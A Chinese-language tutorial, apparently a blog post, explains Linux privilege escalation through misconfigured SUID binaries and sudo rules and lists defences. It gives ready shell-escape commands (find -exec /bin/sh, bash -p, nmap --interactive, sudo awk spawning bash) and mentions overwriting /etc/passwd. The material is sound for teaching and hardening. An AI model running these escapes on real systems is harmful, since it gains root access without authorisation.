在Linux系统中,权限提升(Privilege Escalation)是指通过利用系统的错误配置、漏洞或弱点,从低权限用户提升到更高权限(通常是root)。主要的方法包括SUID提权和SUDO提权。
SUID提权
SUID(Set User ID)是Linux文件权限的一部分,允许普通用户以文件所有者的身份运行该程序。如果SUID位设置在root拥有的二进制文件上,则普通用户可以以root权限执行该程序。
1. 原理
- SUID(Set User ID):当可执行文件设置SUID位时,用户执行该文件会以文件所有者的身份运行(如root)。
- 漏洞触发:若SUID文件存在漏洞或被滥用(如允许执行任意命令),攻击者可借此获取高权限。
2. 利用步骤
枚举SUID文件:
find / -perm -4000 -type f 2>/dev/null
# 或更严格匹配(仅root且SUID):
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null
识别高风险二进制:
- 参考GTFOBins查找已知可提权的SUID程序。
- 常见高危程序:
nmap
(旧版)、find
、vim
、bash
、cp
、more/less
等。
利用示例:
- find:
find / -exec "/bin/sh" \;
- bash:
bash -p # 若bash有SUID且版本较低
- nmap交互模式(旧版):
nmap --interactive
!sh
- cp覆盖敏感文件: 若允许覆盖
/etc/passwd
或/etc/shadow
,可添加特权用户。
3. 防御措施
- 移除不必要的SUID权限:
chmod u-s <file>
- 定期审计系统文件权限。
SUDO提权
SUDO(SuperUser Do)允许普通用户以root权限执行某些命令。攻击者若能执行一些关键命令,可能可以提权。
1. 原理
- SUDO:允许用户以其他用户(如root)身份执行命令。
- 漏洞触发:若用户被允许通过
sudo
执行某些危险命令且无需密码,可能被滥用。
2. 利用步骤
查看Sudo权限:
sudo -l # 检查当前用户可执行的命令
/etc/sudoers文件是sudo权限的配置文件,其中储存了一些用户或组可以以root权限使用的命令。
如下图
使用sudo visudo
进行编辑

给用户赋予全部root权限
找到root权限root ALL=(ALL:ALL) ALL,在下一行输入” test ALL(ALL:ALL) ALL “,保存后退出,这样即表示用户test可以使用sudo调用root权限执行命令。即此时test用户相当于root

给予用户部分权限
hacker用户就能使用awk命令

利用高风险命令:
- 直接提权:
sudo su
或sudo -i
(若有权限)。
- awk提权:
sudo awk 'BEGIN{system("/bin/bash")}'
3. 防御措施
- 遵循最小权限原则,仅授予必要命令。
- 定期审查
/etc/sudoers
文件。
总结
- SUID提权:关注文件权限,利用不当的SUID设置。
- SUDO提权:聚焦用户权限配置,滥用被允许的命令。
- 防御核心:最小权限原则 + 定期审计。